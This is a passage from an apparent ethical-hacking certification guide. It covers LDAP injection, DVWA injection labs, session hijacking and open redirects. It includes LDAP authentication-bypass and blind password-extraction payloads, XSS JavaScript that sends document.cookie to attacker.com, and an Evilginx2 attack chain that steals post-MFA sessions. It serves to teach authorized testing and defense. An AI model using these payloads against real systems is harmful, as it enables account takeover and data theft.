  
  What LDAP Is — Essential Context
&lt;/h4&gt;

&lt;p&gt;LDAP (Lightweight Directory Access Protocol) is a protocol for accessing and maintaining distributed directory services — structured databases of hierarchical information. In corporate environments, LDAP is primarily used to provide Active Directory (AD) authentication. When you log in to a Windows domain or an enterprise application with your corporate credentials, LDAP is almost certainly involved somewhere in the authentication process.&lt;/p&gt;

&lt;p&gt;LDAP stores information in a tree structure. Each entry has a Distinguished Name (DN) that describes its position in the tree:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`&lt;br&gt;
CN=John Smith,OU=Engineering,DC=targetco,DC=com&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;CN&lt;/code&gt; — Common Name (the object's name)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;OU&lt;/code&gt; — Organizational Unit (like a folder/department)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DC&lt;/code&gt; — Domain Component (the domain name split into components)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;LDAP queries use a filter syntax that specifies what to search for:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`&lt;br&gt;
(objectClass=person)                        -- All persons&lt;br&gt;
(uid=jsmith)                               -- User with uid=jsmith&lt;br&gt;
(&amp;amp;(uid=jsmith)(userPassword=mypassword))   -- User with matching uid AND password&lt;br&gt;
(|(department=Engineering)(department=IT)) -- Engineering OR IT department members&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;&amp;amp;&lt;/code&gt; means AND (all conditions must match), &lt;code&gt;|&lt;/code&gt; means OR (any condition must match), &lt;code&gt;!&lt;/code&gt; means NOT.&lt;/p&gt;
&lt;h4&gt;
  
  
  The Injection Mechanism
&lt;/h4&gt;

&lt;p&gt;Web applications that authenticate against LDAP build query filters by concatenating user input — the same mistake made in SQL injection, applied to LDAP.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`php&lt;br&gt;
// VULNERABLE PHP code for LDAP authentication&lt;br&gt;
$username = $_POST['username'];&lt;br&gt;
$password = $_POST['password'];&lt;br&gt;
$filter = "(&amp;amp;(uid=$username)(userPassword=$password))";&lt;br&gt;
$result = ldap_search($connection, "dc=targetco,dc=com", $filter);&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When legitimate credentials are submitted:&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
Filter: (&amp;amp;(uid=alice)(userPassword=correct_password))&lt;br&gt;
Result: finds alice's entry → authentication success&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When an attacker submits &lt;code&gt;*)(uid=*))(|(uid=*&lt;/code&gt; as the username:&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
Filter: (&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword=anything))&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This LDAP filter, despite its complexity, evaluates to "return any user where uid is anything" — bypassing the password check entirely. The attacker is authenticated as the first user returned.&lt;/p&gt;
&lt;h4&gt;
  
  
  Common LDAP Injection Payloads
&lt;/h4&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Authentication bypass — log in as any user:
&lt;/h1&gt;

&lt;p&gt;Username: &lt;em&gt;)(&amp;amp;&lt;br&gt;
Password: (anything)&lt;br&gt;
-- Creates: (&amp;amp;(uid=&lt;/em&gt;)(&amp;amp;)(userPassword=(anything)))&lt;br&gt;
-- The (*) matches everything, (&amp;amp;) is always true&lt;/p&gt;
&lt;h1&gt;
  
  
  Classic auth bypass:
&lt;/h1&gt;

&lt;p&gt;Username: &lt;em&gt;)(|(password=&lt;/em&gt;)&lt;br&gt;
Password: ignored&lt;br&gt;
-- Creates: (&amp;amp;(uid=&lt;em&gt;)(|(password=&lt;/em&gt;))(userPassword=ignored))&lt;/p&gt;
&lt;h1&gt;
  
  
  Extract all users (information disclosure):
&lt;/h1&gt;

&lt;p&gt;Username: *&lt;br&gt;
-- If wildcard causes return of all matching entries, usernames are disclosed&lt;/p&gt;
&lt;h1&gt;
  
  
  Extract specific user:
&lt;/h1&gt;

&lt;p&gt;Username: admin&lt;br&gt;
-- Confirm admin exists by observing different response versus non-existent user&lt;/p&gt;
&lt;h1&gt;
  
  
  Blind injection — true/false conditions:
&lt;/h1&gt;

&lt;p&gt;Username: admin)(uid=*&lt;br&gt;
-- Different response if true (admin exists) versus false&lt;/p&gt;
&lt;h1&gt;
  
  
  Bypass input validation that filters *:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Use LDAP attribute matching: (uid=a*) matches users starting with 'a'
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Blind LDAP Injection — Character-by-Character Extraction
&lt;/h4&gt;

&lt;p&gt;When LDAP injection is blind (different response for true/false but no data returned), information can be extracted character by character using wildcard patterns:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Check if first character of admin's password is 'a':
&lt;/h1&gt;

&lt;p&gt;Username: admin)(userPassword=a*&lt;br&gt;
-- Different response than:&lt;br&gt;
Username: admin)(userPassword=b*&lt;/p&gt;
&lt;h1&gt;
  
  
  Systematically determine the password:
&lt;/h1&gt;

&lt;p&gt;Username: admin)(userPassword=a*    → false (no match)&lt;br&gt;
Username: admin)(userPassword=P*    → true (password starts with P)&lt;br&gt;
Username: admin)(userPassword=Pa*   → false&lt;br&gt;
Username: admin)(userPassword=Pp*   → false&lt;br&gt;
Username: admin)(userPassword=Pa*... → iterate through characters&lt;/p&gt;
&lt;h1&gt;
  
  
  This eventually reconstructs the entire password
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;This is slow but effective against vulnerable LDAP implementations that store passwords in retrievable form (some do, many do not).&lt;/p&gt;
&lt;h4&gt;
  
  
  Special LDAP Characters to Inject
&lt;/h4&gt;

&lt;p&gt;The characters with special meaning in LDAP filter syntax:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`&lt;br&gt;
( ) * \ NUL      ← characters requiring escape in valid LDAP&lt;br&gt;
&amp;amp; | !            ← logical operators&lt;br&gt;
=                ← attribute comparison operator&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If the application does not escape these characters in user input, all of them can be used to manipulate the filter.&lt;/p&gt;
&lt;h4&gt;
  
  
  LDAP Injection vs. SQL Injection — Key Differences
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;SQL Injection&lt;/th&gt;
&lt;th&gt;LDAP Injection&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Comment syntax&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;--&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;/**/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;None standard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data structure&lt;/td&gt;
&lt;td&gt;Tables/rows&lt;/td&gt;
&lt;td&gt;Tree/attributes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication bypass&lt;/td&gt;
&lt;td&gt;&lt;code&gt;' OR 1=1--&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;`&lt;em&gt;)(uid=&lt;/em&gt;))(&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data extraction&lt;/td&gt;
&lt;td&gt;UNION SELECT&lt;/td&gt;
&lt;td&gt;Wildcard enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automation tooling&lt;/td&gt;
&lt;td&gt;sqlmap (excellent)&lt;/td&gt;
&lt;td&gt;Limited automation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prevalence&lt;/td&gt;
&lt;td&gt;Very common&lt;/td&gt;
&lt;td&gt;Less common&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defenses&lt;/td&gt;
&lt;td&gt;Parameterized queries&lt;/td&gt;
&lt;td&gt;Escape all special chars&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The fix for LDAP injection is proper input escaping before building filter strings. All special characters (&lt;code&gt;(&lt;/code&gt;, &lt;code&gt;)&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, null bytes) must be escaped as their LDAP escape sequences. In PHP, &lt;code&gt;ldap_escape()&lt;/code&gt; (PHP 5.6+) provides this. In other languages, use the appropriate escaping function from your LDAP library.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.4.7 Lab — Injection Attacks
&lt;/h3&gt;

&lt;p&gt;This lab section consolidates the injection concepts into a structured practice session using DVWA and WebSploit Labs.&lt;/p&gt;
&lt;h4&gt;
  
  
  DVWA — Complete Injection Practice Sequence
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;SQL Injection (all three levels):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Low: Complete the UNION-based extraction sequence from 6.4.3. Extract all usernames, passwords, and emails. Crack the password hashes with hashcat.&lt;/p&gt;

&lt;p&gt;Medium: Read the source code. Notice that the application uses a dropdown instead of a text field, preventing direct submission of SQL characters. But you can bypass this by intercepting the request in Burp Suite and modifying the parameter directly in the proxy — client-side controls mean nothing at the server level.&lt;/p&gt;

&lt;p&gt;High: Read the source code again. Notice the query uses &lt;code&gt;LIMIT 1&lt;/code&gt; to return only one result. Bypass this by terminating the original query early and crafting a subquery that circumvents the limit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SQL Injection (Blind):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;DVWA's blind SQL injection module shows no query results — just "User ID exists" or "User ID missing." Practice boolean-based extraction to determine the administrator's password length and first three characters manually, then run sqlmap with &lt;code&gt;--technique=B&lt;/code&gt; to automate the complete extraction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Command Injection (all three levels):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Low: Demonstrate the full chain — detect injection, enumerate system information, extract config file credentials, establish a reverse shell.&lt;/p&gt;

&lt;p&gt;Medium: Bypass the character filter (&lt;code&gt;,&lt;/code&gt;, &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt; are blocked). Use pipe characters and URL-encoded newlines.&lt;/p&gt;

&lt;p&gt;High: The High level uses a strict allowlist — only valid IP address format is accepted. Research and find the bypass for this specific DVWA implementation. (Hint: some allowlist implementations have regex edge cases.)&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Takeaways from This Lab
&lt;/h4&gt;

&lt;p&gt;After completing these exercises, you should be able to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Identify injection points in any web application by recognizing input parameters and testing with detection payloads&lt;/li&gt;
&lt;li&gt;Distinguish between error-based, UNION-based, boolean blind, and time-based SQL injection and know when to use each&lt;/li&gt;
&lt;li&gt;Understand the complete UNION-based data extraction sequence from scratch without automated tools&lt;/li&gt;
&lt;li&gt;Recognize command injection opportunities from application features that suggest system-level operations&lt;/li&gt;
&lt;li&gt;Extract data from blind injection vulnerabilities using time delays and out-of-band callbacks&lt;/li&gt;
&lt;li&gt;Explain LDAP injection to a technical audience and describe its filter manipulation mechanism&lt;/li&gt;
&lt;li&gt;Use sqlmap for automated exploitation while understanding what it is doing under the hood&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These skills form the foundation for the exploitation phases in professional web application penetration tests. Every injection technique here appears in real assessments, in bug bounty programs, and in certification exams.&lt;/p&gt;



&lt;p&gt;&lt;em&gt;— Sections 6.2, 6.3, and 6.4 are complete.  —&lt;/em&gt;&lt;/p&gt;


&lt;h1&gt;
  
  
  Module 6 — Sections 6.5 and 6.6
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Authentication Attacks · Session Hijacking · Kerberos · Default Credentials · Authorization · IDOR · Privilege Escalation&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
6.5 Exploiting Authentication-Based Vulnerabilities

&lt;ul&gt;
&lt;li&gt;6.5.1 Overview — Authentication vs Authorization: The Distinction That Matters&lt;/li&gt;
&lt;li&gt;6.5.2 Session Hijacking — Stealing Identity After Authentication&lt;/li&gt;
&lt;li&gt;6.5.3 Practice — Session Hijacking Techniques&lt;/li&gt;
&lt;li&gt;6.5.4 Redirect Attacks — The Open Redirect Vulnerability&lt;/li&gt;
&lt;li&gt;6.5.5 Default Credentials — The Easiest Win in Security Testing&lt;/li&gt;
&lt;li&gt;6.5.6 Kerberos Vulnerabilities — Breaking Windows Domain Authentication&lt;/li&gt;
&lt;li&gt;6.5.7 Practice — Kerberos Attack Execution&lt;/li&gt;
&lt;li&gt;6.5.8 Lab — Using Password Tools&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
6.6 Exploiting Authorization-Based Vulnerabilities

&lt;ul&gt;
&lt;li&gt;6.6.1 Overview — What Authorization Means and Why It Fails&lt;/li&gt;
&lt;li&gt;6.6.2 IDOR — Insecure Direct Object Reference&lt;/li&gt;
&lt;li&gt;6.6.3 Horizontal vs Vertical Privilege Escalation&lt;/li&gt;
&lt;li&gt;6.6.4 Access Control Bypass Techniques&lt;/li&gt;
&lt;li&gt;6.6.5 The Complete Authorization Testing Methodology&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  6.5 Exploiting Authentication-Based Vulnerabilities
&lt;/h2&gt;
&lt;h3&gt;
  
  
  6.5.1 Overview — Authentication vs Authorization: The Distinction That Matters
&lt;/h3&gt;

&lt;p&gt;Two concepts sit at the heart of every access control system, and confusing them — as developers frequently do — leads to vulnerabilities. Understanding the precise difference is foundational.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication&lt;/strong&gt; answers the question: &lt;em&gt;Who are you?&lt;/em&gt; It is the process of verifying that you are who you claim to be. You present a credential — a password, a fingerprint, a hardware token — and the system checks it against stored truth. If the check passes, your identity is established.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt; answers the question: &lt;em&gt;What are you allowed to do?&lt;/em&gt; It is the process of deciding what actions and resources an authenticated identity is permitted to access. Being authenticated as Alice does not mean Alice can access Bob's files. Authorization determines that boundary.&lt;/p&gt;

&lt;p&gt;These two concerns are often tightly coupled in implementation, but they are conceptually distinct. Section 6.5 covers attacks on the authentication layer — attacks that impersonate authenticated users, steal authentication tokens, exploit weak authentication mechanisms, or bypass the authentication step entirely. Section 6.6 covers attacks on the authorization layer — accessing resources or performing actions that the authenticated user is not permitted to access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why authentication attacks are so impactful:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Authentication is the gatekeeper to everything. A successful authentication attack does not just expose a single record or endpoint — it compromises the entire identity. An attacker who successfully hijacks an administrator's authenticated session has every permission that administrator has. Every file they can read. Every action they can perform. Every system they can access.&lt;/p&gt;

&lt;p&gt;In 2024, the threat landscape for authentication shifted dramatically. SpyCloud researchers recovered over 17 billion stolen cookie records from the dark web — evidence of industrial-scale session token theft. Modern authentication attacks do not always need to bypass multi-factor authentication; they steal the session token that is created &lt;em&gt;after&lt;/em&gt; MFA completes. Once an attacker has your session token, they have your identity in that application — regardless of how strong your password was or how many factors authenticated you.&lt;/p&gt;

&lt;p&gt;This is the reality that this section addresses: authentication can be defeated not just at the front door (login) but at any point in the session lifecycle.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.5.2 Session Hijacking — Stealing Identity After Authentication
&lt;/h3&gt;
&lt;h4&gt;
  
  
  The Core Concept
&lt;/h4&gt;

&lt;p&gt;Session hijacking is the theft and reuse of a victim's valid session identifier to impersonate them in an authenticated application. The attacker does not need to know the victim's password. They do not need to bypass MFA. They simply need the session token that proves the victim already authenticated.&lt;/p&gt;

&lt;p&gt;Think about what a session token actually is. After you prove your identity at login, the server creates a session record on its side and gives you a reference to that record — a long, random string called the session token or session ID. For every subsequent request, your browser sends this token, and the server says "ah, this token maps to Alice's authenticated session — let her in."&lt;/p&gt;

&lt;p&gt;From the server's perspective, a request with Alice's valid session token is indistinguishable from a request coming from Alice's browser. The server cannot see whose laptop sent the request. It only sees the token. This is the fundamental reason session hijacking works: the token is the identity, and anyone with the token has the identity.&lt;/p&gt;
&lt;h4&gt;
  
  
  Vector 1 — Network Interception
&lt;/h4&gt;

&lt;p&gt;The oldest form of session hijacking. If a web application transmits session cookies over HTTP (not HTTPS), or if cookies are set without the &lt;code&gt;Secure&lt;/code&gt; flag and an HTTP version of the site exists, the session token travels in plaintext across the network.&lt;/p&gt;

&lt;p&gt;In environments where the attacker is positioned on the same network segment (a corporate LAN, a public Wi-Fi network, a hotel network), they can capture this traffic with Wireshark or tcpdump. The session token appears in the &lt;code&gt;Cookie:&lt;/code&gt; header of every request.&lt;/p&gt;

&lt;p&gt;With the token captured, the attacker imports it into their own browser (using browser developer tools, Cookie Editor extension, or Burp Suite) and is immediately authenticated as the victim.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When this is relevant in 2024:&lt;/strong&gt;&lt;br&gt;
Most HTTPS sites correctly set &lt;code&gt;Secure&lt;/code&gt; on session cookies, preventing this in the general case. However, network interception remains very relevant in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Internal corporate applications that use HTTP&lt;/li&gt;
&lt;li&gt;Applications with mixed content (main site HTTPS but some endpoints HTTP)&lt;/li&gt;
&lt;li&gt;Old or embedded systems (OT/ICS devices, network printers, management interfaces)&lt;/li&gt;
&lt;li&gt;Applications that have &lt;code&gt;Secure&lt;/code&gt; flag missing on critical cookies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Prevention:&lt;/strong&gt; HTTPS everywhere, &lt;code&gt;Secure&lt;/code&gt; cookie flag, HSTS header to prevent downgrade attacks.&lt;/p&gt;
&lt;h4&gt;
  
  
  Vector 2 — XSS-Based Cookie Theft
&lt;/h4&gt;

&lt;p&gt;Cross-site scripting (covered in depth in Section 6.7) is one of the primary methods for stealing session cookies in modern applications. When an XSS vulnerability allows injecting JavaScript into a page, the attacker's script can read the victim's cookies using &lt;code&gt;document.cookie&lt;/code&gt; and send them to an attacker-controlled server.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;javascript&lt;br&gt;
// Classic session cookie theft via XSS&lt;br&gt;
// Injected into a vulnerable input field or stored location:&lt;/p&gt;

&lt;p&gt;new Image().src = '&lt;a href="https://attacker.com/steal?cookie=" rel="noopener noreferrer"&gt;https://attacker.com/steal?cookie=&lt;/a&gt;' + encodeURIComponent(document.cookie);&lt;/p&gt;

&lt;p&gt;// Or using fetch (more reliable, supports modern APIs):&lt;br&gt;
fetch('&lt;a href="https://attacker.com/steal" rel="noopener noreferrer"&gt;https://attacker.com/steal&lt;/a&gt;', {&lt;br&gt;
  method: 'POST',&lt;br&gt;
  body: JSON.stringify({cookies: document.cookie, url: window.location.href}),&lt;br&gt;
  headers: {'Content-Type': 'application/json'}&lt;br&gt;
});&lt;/p&gt;

&lt;p&gt;// On the attacker's server (simple Python HTTP listener):&lt;/p&gt;
&lt;h1&gt;
  
  
  python3 -m http.server 80
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Incoming request: /steal?cookie=session_id=7f3a9b2c...
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;HttpOnly&lt;/code&gt; flag on cookies was specifically designed to prevent this. A cookie with &lt;code&gt;HttpOnly&lt;/code&gt; is not accessible through &lt;code&gt;document.cookie&lt;/code&gt; — JavaScript cannot read it, regardless of what JavaScript runs on the page.&lt;/p&gt;

&lt;p&gt;However, even &lt;code&gt;HttpOnly&lt;/code&gt; session cookies have an indirect theft vector: if the application has an XSS vulnerability, the attacker can use JavaScript to send authenticated requests &lt;em&gt;from the victim's browser&lt;/em&gt; — not stealing the cookie itself, but using the victim's authenticated session without reading the cookie. This is sometimes called XSS-based session riding rather than session theft.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The critical check during assessment:&lt;/strong&gt; When you find an &lt;code&gt;HttpOnly&lt;/code&gt; cookie, the vulnerability exists but the theft method must change. Instead of reading &lt;code&gt;document.cookie&lt;/code&gt;, use the XSS to make authenticated API requests from the victim's browser and exfiltrate the data directly.&lt;/p&gt;
&lt;h4&gt;
  
  
  Vector 3 — Adversary-in-the-Middle (AitM) Session Theft
&lt;/h4&gt;

&lt;p&gt;This is the dominant session hijacking vector in 2024 and the technique behind some of the largest breaches. AitM attacks proxy a legitimate authentication flow — capturing the session token that is created after successful authentication, including after MFA completion.&lt;/p&gt;

&lt;p&gt;Tools like Evilginx2 (covered in the social engineering module) sit as transparent proxies between the victim and the real service. The victim goes through the entire authentication process — username, password, MFA code — on what they believe is the real site. The AitM proxy forwards everything to the real site. When the real site creates an authenticated session and sends the session cookie to the browser, the AitM proxy captures that cookie in transit before passing it to the victim's browser.&lt;/p&gt;

&lt;p&gt;The attacker now has the victim's fully authenticated session cookie — extracted after MFA was completed. MFA provided no protection because it was never bypassed; the session it created was captured.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;br&gt;
Attack chain:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Victim receives phishing link → lands on Evilginx2 proxy domain&lt;/li&gt;
&lt;li&gt;Evilginx2 fetches the real Microsoft 365 login page and serves it to victim&lt;/li&gt;
&lt;li&gt;Victim enters credentials → Evilginx2 captures them and forwards to real Microsoft&lt;/li&gt;
&lt;li&gt;Real Microsoft requests MFA → Evilginx2 relays the MFA challenge to victim&lt;/li&gt;
&lt;li&gt;Victim completes MFA → Evilginx2 forwards to real Microsoft&lt;/li&gt;
&lt;li&gt;Real Microsoft creates authenticated session → sends session cookie in Set-Cookie header&lt;/li&gt;
&lt;li&gt;Evilginx2 captures the session cookie BEFORE passing it to the victim's browser&lt;/li&gt;
&lt;li&gt;Victim sees successful login and continues normally, unaware&lt;/li&gt;
&lt;li&gt;Attacker imports captured session cookie into their browser&lt;/li&gt;
&lt;li&gt;Attacker is authenticated as the victim in Microsoft 365 with their full access
&lt;code&gt;&lt;/code&gt;`&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This explains a 2024 finding that 87% of successful cyberattacks involved session hijacking after valid MFA logins — not because MFA was bypassed technically, but because the session it produced was intercepted.&lt;/p&gt;
&lt;h4&gt;
  
  
  Vector 4 — Infostealer Malware
&lt;/h4&gt;

&lt;p&gt;Modern infostealer malware (Raccoon, RedLine, Vidar, Lumma, Stealc) specifically targets browser-stored cookies, including session cookies. Most browsers store cookies in a local database file (SQLite for Chrome/Firefox). Malware running with user-level privileges on an infected endpoint can read this file directly and extract all cookies.&lt;/p&gt;

&lt;p&gt;The extracted cookies are then exfiltrated to the attacker's command-and-control server. From there, they are either used directly by the attacker or sold on dark web markets as "logs" — collections of stolen cookies for specific websites. Entire underground markets exist for buying and selling stolen authenticated sessions for corporate SaaS applications.&lt;/p&gt;

&lt;p&gt;This is why SpyCloud found 17 billion stolen cookie records in 2024: the infostealer ecosystem operates at industrial scale, systematically harvesting credentials and sessions from compromised endpoints.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The defense implication:&lt;/strong&gt; Session tokens stolen via infostealer malware are not mitigated by any authentication control — not passwords, not MFA, not hardware tokens. The session was legitimately created. The only protection is endpoint security (preventing malware execution) and server-side controls that make stolen sessions unusable (IP binding, device fingerprinting, short session lifetimes, anomaly detection on session use).&lt;/p&gt;
&lt;h4&gt;
  
  
  Practical Session Hijacking: Testing in a Lab Context
&lt;/h4&gt;

&lt;p&gt;In DVWA's session management exercises or in custom lab environments, the practical test follows this pattern:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;br&gt;
Step 1: Log in as Victim (User A) in Browser A&lt;br&gt;
Note the session cookie from Burp Suite → Cookie: PHPSESSID=abc123...&lt;/p&gt;

&lt;p&gt;Step 2: In Browser B (or an Incognito window), open Developer Tools&lt;br&gt;
Go to Application → Cookies → Add the captured cookie:&lt;br&gt;
Name: PHPSESSID&lt;br&gt;
Value: abc123...&lt;br&gt;
Domain: 127.0.0.1&lt;/p&gt;

&lt;p&gt;Step 3: Navigate to the authenticated area in Browser B&lt;br&gt;
Without logging in, you are now authenticated as User A&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;This demonstrates the complete session hijacking attack in a controlled environment. The defense test is to verify that the same session ID cannot be used after logout (server-side session invalidation).&lt;/p&gt;


&lt;h3&gt;
  
  
  6.5.3 Practice — Session Hijacking Techniques
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Setting Up a Session Capture Environment with Burp
&lt;/h4&gt;

&lt;p&gt;The most professional approach to session hijacking in an authorized assessment uses Burp Suite as the central interception and token manipulation platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Capture sessions with Burp:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Configure your browser to proxy through Burp (127.0.0.1:8080)&lt;/li&gt;
&lt;li&gt;Log in to the target application as your test user&lt;/li&gt;
&lt;li&gt;In Burp → Proxy → HTTP History, find the POST request to the login endpoint&lt;/li&gt;
&lt;li&gt;In the response to that login request, look for the &lt;code&gt;Set-Cookie&lt;/code&gt; header — this is where the session token is issued&lt;/li&gt;
&lt;li&gt;Note the full cookie value&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Analyze session token quality with Burp Sequencer:&lt;/strong&gt;&lt;br&gt;
Burp Suite includes a token analysis tool that tests whether session IDs are cryptographically random:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;In HTTP History, find any response that sets a session cookie&lt;/li&gt;
&lt;li&gt;Right-click → "Send to Sequencer"&lt;/li&gt;
&lt;li&gt;Configure Burp to extract the cookie value from responses&lt;/li&gt;
&lt;li&gt;Start automatic analysis — Burp will request fresh tokens and analyze their statistical randomness&lt;/li&gt;
&lt;li&gt;Results show an entropy level and confidence rating&lt;/li&gt;
&lt;li&gt;Low entropy means tokens may be predictable — a serious finding&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Cookie flag analysis:&lt;/strong&gt;&lt;br&gt;
For every &lt;code&gt;Set-Cookie&lt;/code&gt; header found during assessment:&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;br&gt;
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Strict&lt;/p&gt;

&lt;p&gt;Checklist:&lt;br&gt;
☐ HttpOnly present? (missing = XSS can steal cookie)&lt;br&gt;
☐ Secure present? (missing = cookie sent over HTTP)&lt;br&gt;
☐ SameSite present and not None? (missing/None = CSRF risk)&lt;br&gt;
☐ Max-Age or Expires set? (missing = session-lifetime cookie)&lt;br&gt;
☐ Domain attribute appropriate? (too broad = subdomain risk)&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing logout invalidation:&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Log in — capture session token T1&lt;/li&gt;
&lt;li&gt;Perform some authenticated actions — verify T1 works&lt;/li&gt;
&lt;li&gt;Log out&lt;/li&gt;
&lt;li&gt;In Burp Repeater, replay a previously captured authenticated request using T1&lt;/li&gt;
&lt;li&gt;If server returns 401/403/redirect: ✓ Correct behavior&lt;/li&gt;
&lt;li&gt;If server returns 200 with authenticated content: ✗ Session not invalidated
&lt;code&gt;&lt;/code&gt;`&lt;/li&gt;
&lt;/ol&gt;


&lt;h3&gt;
  
  
  6.5.4 Redirect Attacks — The Open Redirect Vulnerability
&lt;/h3&gt;
&lt;h4&gt;
  
  
  What Open Redirect Is
&lt;/h4&gt;

&lt;p&gt;An open redirect vulnerability occurs when a web application accepts a user-supplied URL as a parameter and redirects the user to that URL without validation. The application blindly redirects to whatever the user provides in the &lt;code&gt;?next=&lt;/code&gt;, &lt;code&gt;?redirect=&lt;/code&gt;, &lt;code&gt;?url=&lt;/code&gt;, &lt;code&gt;?return=&lt;/code&gt;, or similar parameters.&lt;/p&gt;

&lt;p&gt;On the surface this sounds minor — what harm is there in redirecting someone to a URL? The harm is in trust. Legitimate organizations' URLs carry trust. A phishing link from &lt;code&gt;bank.example.com/login?next=https://attacker.com/fake-login&lt;/code&gt; looks far more credible than a direct link to &lt;code&gt;attacker.com/fake-login&lt;/code&gt;. The domain in the visible part of the URL is the trusted bank's domain. The user follows the link, sees the bank's domain, and feels safe. Then they are redirected to the attacker's fake login page.&lt;/p&gt;
&lt;h4&gt;
  
  
